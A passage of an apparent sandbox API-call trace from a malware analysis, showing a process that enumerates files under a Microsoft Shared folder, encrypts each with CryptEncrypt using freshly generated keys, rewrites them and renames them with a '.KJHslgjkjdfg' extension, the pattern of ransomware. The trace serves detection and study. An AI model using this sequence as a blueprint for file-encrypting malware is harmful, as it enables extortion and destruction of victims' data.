SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.312] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x774, lpOverlapped=0x0) returned 1 [0163.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780, dwBufLen=0x780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780) returned 1 [0163.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.312] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x780, lpOverlapped=0x0) returned 1 [0163.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.312] SetEndOfFile (hFile=0xf0) returned 1 [0163.315] GetProcessHeap () returned 0x990000 [0163.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.315] GetProcessHeap () returned 0x990000 [0163.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.kjhslgjkjdfg")) returned 1 [0163.322] CloseHandle (hObject=0xf0) returned 1 [0163.322] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0163.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.322] GetProcessHeap () returned 0x990000 [0163.322] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.322] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.323] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0163.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.325] GetProcessHeap () returned 0x990000 [0163.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.326] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.326] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.326] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.326] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.326] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.326] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.326] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.326] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.326] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3adb, lpOverlapped=0x0) returned 1 [0163.327] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ae0, dwBufLen=0x3ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ae0) returned 1 [0163.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.328] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ae0, lpOverlapped=0x0) returned 1 [0163.328] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.328] SetEndOfFile (hFile=0xf0) returned 1 [0163.331] GetProcessHeap () returned 0x990000 [0163.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.331] GetProcessHeap () returned 0x990000 [0163.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.kjhslgjkjdfg")) returned 1 [0163.334] CloseHandle (hObject=0xf0) returned 1 [0163.334] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0163.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.334] GetProcessHeap () returned 0x990000 [0163.334] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.334] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.334] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0163.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.340] GetProcessHeap () returned 0x990000 [0163.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.340] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.340] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.340] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.341] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.341] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.341] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.341] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.341] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x42d, lpOverlapped=0x0) returned 1 [0163.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x430, dwBufLen=0x430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x430) returned 1 [0163.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.341] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x430, lpOverlapped=0x0) returned 1 [0163.342] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.342] SetEndOfFile (hFile=0xf0) returned 1 [0163.344] GetProcessHeap () returned 0x990000 [0163.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.344] GetProcessHeap () returned 0x990000 [0163.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.kjhslgjkjdfg")) returned 1 [0163.347] CloseHandle (hObject=0xf0) returned 1 [0163.347] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0163.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.348] GetProcessHeap () returned 0x990000 [0163.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.349] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.349] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0163.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.352] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.352] GetProcessHeap () returned 0x990000 [0163.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.352] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.352] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.352] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.352] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.352] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.352] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.353] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.353] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.353] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x425, lpOverlapped=0x0) returned 1 [0163.353] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x430, dwBufLen=0x430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x430) returned 1 [0163.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.353] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x430, lpOverlapped=0x0) returned 1 [0163.353] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.353] SetEndOfFile (hFile=0xf0) returned 1 [0163.356] GetProcessHeap () returned 0x990000 [0163.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.356] GetProcessHeap () returned 0x990000 [0163.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.kjhslgjkjdfg")) returned 1 [0163.359] CloseHandle (hObject=0xf0) returned 1 [0163.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0163.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.359] GetProcessHeap () returned 0x990000 [0163.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.359] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.360] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0163.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.363] GetProcessHeap () returned 0x990000 [0163.363] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.363] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.363] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.363] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.363] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.363] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.363] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.364] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x692, lpOverlapped=0x0) returned 1 [0163.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0) returned 1 [0163.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.364] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6a0, lpOverlapped=0x0) returned 1 [0163.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.364] SetEndOfFile (hFile=0xf0) returned 1 [0163.367] GetProcessHeap () returned 0x990000 [0163.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.367] GetProcessHeap () returned 0x990000 [0163.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Common 